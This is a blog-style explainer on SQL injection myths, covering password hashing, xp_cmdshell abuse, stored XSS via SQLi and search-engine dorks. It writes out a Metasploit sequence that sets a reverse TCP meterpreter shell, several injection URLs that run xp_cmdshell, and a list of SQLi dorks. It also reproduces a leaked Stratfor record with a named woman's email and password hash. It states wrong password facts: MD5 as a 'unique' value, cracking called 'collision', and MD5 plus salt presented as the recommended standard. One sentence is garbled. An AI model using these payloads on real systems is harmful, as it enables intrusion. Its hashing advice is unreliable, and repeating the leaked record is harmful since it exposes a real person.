Common Myths about SQLi, Busted

Before going ahead with the topic of SQL injection, let us first take a look into the construct of a web-based application.

Most websites have an inseparabe relationship with a database. To begin with, databases are used by these websites to store usernames and passwords, which allows the users of their websites to authenticate themselves and gain access to additional services each website is supposed to be providing.

Many websites along with usernames and passwords will also store credit card details, online content pertaining to their products, or online forums store the posts made by their authenticated users in the database.

A part of the information which is stored by these websites can be termed as sensitive such as username, passwords, credit card info to name a few. Hackers are always interested in this type of information and will devise ways to circumvent the defenses put up by the website to protect this data.

Certain industry standards have been specified pertaining to storage of sensitive data into a database. These industry standards speak about not storing passwords in plain text, rather usage of MD5 + Salt is highly recommended. For beginners, MD5 is a hash of the string which represents your password and Salt is a small string of random characters which is appended to the plain text, and the MD5 of the resultant string is then generated and stored in the database.

MD5 is not the actual plain text string, however a 32 character hexadecimal number which is unique to the plain text string.

The common misconception about MD5 hash is that it is safe to use on its own, however the answer is NO. MD5 for uncomplicated strings can be easily generated and its comparison, also known as collision, with the original MD5 will give away the original string. Hence the least any website owner can do to store the password is to use MD5 + Salt.

Sample code for generating MD5

http://www.pixel2life.com/publish/tutorials/118/understanding_md5_password_encryption/

[code language=”PHP”]<br/>&lt;?php<br/>$string = HelloWorld’;<br/>$hash = md5($string);<br/>echo $hash;<br/>?&gt;<br/>[/code]

Sample Code for generating MD5 with Salt

[code language=”PHP”]<br/>&lt;?php<br/>$string = ‘HelloWorld’;<br/>$salt = ‘s+(_a*’;<br/>$hash = md5($string.$salt);<br/>?&gt;<br/>[/code]

Knowing this fact about MD5+Salt, programmers designing the website should ensure that the users should be forced to use complicated and lengthy passwords. This act will go a long way in ensuring that in case of a breach, the hackers will find it difficult, if not impossible to find the collision.

Last year Stratfor was hacked and its database containing usernames and passwords were leaked onto Internet. One of the users found in this database was Paula Broadwell, and Mr. Robert David Graham (@ErrataRob) took the effort of finding the collision for the MD5 of Ms Broadwell’s password, stored in the Stratfor database. It took almost 17 hours to find the collision as the password used by Ms Broadwell was a strong one by any standards. More information about this can be found here:

http://erratasec.blogspot.de/2012/11/the-hacking-of-generals-mistress.html

Record from Stratfor database hack:

"582458","paulabroadwell@yahoo.com","deb2f7d6542130f7a1e90cf5ec607ad1","paulabroadwell@yahoo.com","0","0","0",,,"1263896967","0","0","1","-18000",,,"paulabroadwell@yahoo.com","a:1:{s:7:"contact";i:0;}",NULL,"freelist:152402","0","0", 

@erratarob says: Had her password been one character longer, I wouldn’t have cracked it.

The password was 8 characters long and a combination of upper-case, lower-case and numbers was used. Considering the fact that, Oclhashcat-plus which was used to crack this password used GPU-based rule engine and took 17 hours to crack, for a 9 character password, it will take even much longer time.

Some may suggest the use of rainbow tables, which contains pre-computed hashes and is used for faster password cracking. However, the fact remains that it requires immense storage space for storing the pre-computed hashes. FreeRainbowtables.com and Project-RainbowCrack.com provide pre-generated rainbow-tables for download and these tables can be used with the existing password crackers.

ables, coupled with the fact that in case salt is also added then these rainbow tables are rendered useless. The only reason being a new set of rainbow tables needs to be generated for salted hashes.

Those who are interested in knowing more about rainbow tables, can visit these sites

http://iqsecur.blogspot.in/2012/01/power-of-rainbow-tables.html

http://project-rainbowcrack.com/

http://www.freerainbowtables.com/

Password crackers not only allow the usage of rainbow tables, but also make use of dictionaries, which makes password cracking easy for certain types of passwords.

Hence, not only the length of the password but also the complexity and the manner in which the hash is generated and the algorithm for generating the hash used, decides the time-factor involved in cracking a password.

Speaking about password cracking is always incomplete without reference to the various passwords leaked by hackers and the attempts to crack them.

http://thepasswordproject.com/leaked_password_lists_and_dictionaries

Now that we know about the importance of storing safely the sensitive information into a database, let us now look into the art of SQL Injection.

Definition of SQLi from Wikipedia – http://en.wikipedia.org/wiki/SQL_injection

SQL injection is a technique often used to attack a website. This is done by including portions of SQL statements in a web form entry field in an attempt to get the website to pass a newly formed rogue SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits a security vulnerability in a website’s software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Since this is an attack vector, numerous tools are available for initiating SQLi attacks on a website, which Sqlmap, havij, sqlninja and the mole are few of them.

Most of the high profile hacks which we have witnessed in the past conducted by Anonymous were based on SQLi, wherein a vulnerability of the web-application was exploited to gain access to the entire database and the so-called sensitive data was no longer private.

Login forms can also be attacked and allow the hackers to gain access to the website without providing a legitimate username/password. All this is possible due to the sheer fact that the input variables were not sanitized, which in turn allows the hackers to provide their own SQL query and retrieve the results.

As is the common misconception, SQLi attacks are not just used to retrieve the contents of the database, however are also used to execute system commands on the server-side.

MS SQL server provides a stored procedure which allows the user to execute system level commands using the stored procedure xp_cmdshell.

MetaSploit also provides a nifty takeover module which uses xp_cmdshell to inject the payload and create a reverse shell on the server, giving the attacker full access to the server OS. One can learn more about this module over here. http://metasploit.com/modules/exploit/windows/mssql/mssql_payload_sqli

msf > use exploit/windows/mssql/mssql_payload_sqli msf exploit(mssql_payload_sqli) > show payloads msf exploit(mssql_payload_sqli) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(mssql_payload_sqli) > set LHOST [Local IP] msf exploit(mssql_payload_sqli) > set RHOST [Victim IP] msf exploit(mssql_payload_sqli) > exploit 

SQLNinja offers the attacker to recreate this stored procedure in case it has been disabled. However certain conditions have to be adhered to and have been outlined below:

SQLNinja : resurrectxp

http://sqlninja.sourceforge.net/sqlninja-howto.html#resurrectxp_

This mode is to be used when the following conditions are both met:

• Should have sysadmin privileges or should know the ‘sa’ password
• xp_cmdshell has been disabled

Fast-Track is another open-source project based on python which uses Metasploit modules up to a large extent. SQL Pwnage, a module from Fast-Track, detects SQLi vulnerabilities, will scan and crawl URLs and subnets for SQLi vulnerable parameters. More details about Fast-track’s SQL Pwnage can be found here, http://www.offensive-security.com/metasploit-unleashed/SQL_Pwnage

After firing up Fast-Track, you will be presented with a menu and choose the options in the following order:

Fast-Track Main Menu: 
Step 1: 4. Microsoft SQL Tools 
Step 2: 3. SQLPwnage 
Step 3: 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED) 
Step 4: you can choose any of the listed options in case you have the vulnerable url then select option 1 or else scan the entire subnet using option 2. 

Here is another example which uses xp_cmdshell : http://pastebin.com/F2tBvwXp

1) executing xp_cmdshell 
http://www.target.com/vuln.asp?param=1';IF object_id('result') IS NOT NULL DROP TABLE result; CREATE TABLE result (output varchar(200));INSERT INTO result EXEC xp_cmdshell 'dir C:'-- 
2) result retrieval through UNION injection 
http://www.target.com/vuln.asp?param=-1' UNION ALL SELECT NULL, NULL, output FROM result-- 

So far we have seen SQLi attacks which were either used to retrieve data or to execute system commands on the server to gain un-lawful access. An excellent article on creating backdoors using SQLi attacks can be found here.

https://resources.infosecinstitute.com/backdoor-sql-injection/

SQLi attacks when coupled with Stored XSS attack will have a more devastating effect, as the real world usage of this type of attack has more ramifications. Before we move ahead with this type of attack, what exactly is Stored XSS?

Definition of Cross Site Scripting (XSS ) from Wikipedia:

http://en.wikipedia.org/wiki/Cross-site_scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. Due to breaches of browser security, XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. 
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read. 

One real world example which utilized and successfully implemented this type of attack was the infamous LizaMoon.

Websites which stored their online content into the database were targeted and an SQLi vulnerability was found. Using SQLi vulnerability, XSS code was inserted into the database. Due to which, upon the completion of the attack, every user who visited these websites ended up executing the code on their own system. This code which was retrieved from the database along with the valid html content. The objective of Lizamoon was to download and install a rogue software on the end-user’s system.

For more information about Lizamoon, Spider Labs has an excellent article on it over here.

http://blog.spiderlabs.com/2011/04/analysis-of-lizamoon-stored-xss-via-sql-injection.html

However Driveby-downloads are the worst offenders and the most common method employed by hackers to launch drive-by-download is by way of an SQLi attack. SQLi vulnerable sites, especially those using MS-SQL, are at risk.

One may ask a question, how is it that target sites are found? It must be very difficult for hackers to visit each and every website, find the vulnerability and then exploit it. This is yet another common misconception.

A website when published on the web, will have all its features spidered by the search-engine bots. This is done to ensure that other users are able to find the content which is being provided by the website. The amount of searchable information ranges from URLs to identity of web-application platforms being used, shopping cart developer, forum application being used, etc.

The hackers use predefined searches, known as dorks, using any of the search-engines to find their targets, after that it is an easy task.

As an example, take a look at this link, it talks about an SQLi on Joomla.

http://1337day.com/exploits/19515 by D35M0ND142 and a very easy to use google dork has also been provided: “inurl:option=com_huruhelpdesk”. To identify the vulnerable sites and to extract the user name and passwords a perl script has also been provided.

A few of the SQLi dorks have been listed below:

inurl:newsDetail.php?id= 
inurl:gallery.php?id= 
inurl:article.php?id= 
inurl:show.php?id= 
inurl:staff_id= 
inurl:newsitem.php?num= 
Links for various dorks: 
http://pastebin.com/Xzcj9CF1
http://pastebin.com/Cy2yEKk4
http://www.best4hack.com/p/sqli-dorks.html

There are numerous websites like exploit-db.com which provide details about vulnerabilities and how to exploit them. It is the responsibility of the vulnerability-hunter to responsibly notify the affected vendors and upon their confirmation of the patch release, the vulnerability is released to general public.

However, not everyone follows the theory of “responsible disclosure”, nor do all the vendors/developers take these vulnerabilities seriously.

Vupen for one surely made a name for itself in finding vulnerabilities in applications and operating systems and selling it for a price to their clients. However, Google, Facebook and numerous other organizations on the other hand, pay a bounty to these hunters for finding flaws in their websites or applications.

As far as hackers are concerned, anything and everything that gives them illegal access is acceptable.

A small list of Reward Programs by various organizations:

http://www.google.com/about/appsecurity/reward-program/

http://www.facebook.com/whitehat/bounty/

http://www.mozilla.org/security/bug-bounty.html

http://www.zerodayinitiative.com/about/benefits/

And this list will surely encourage you to find vulnerabilities in the web applications:

http://www.ccbill.com/developers/security/rewards.php

References:

https://resources.infosecinstitute.com/dumping-a-database-using-sql-injection/

SQLi vulnerability

http://www.exploit-db.com/exploits/20035/

Driveby Download + SQli

http://www.imperva.com/resources/glossary/drive-by-downloads.html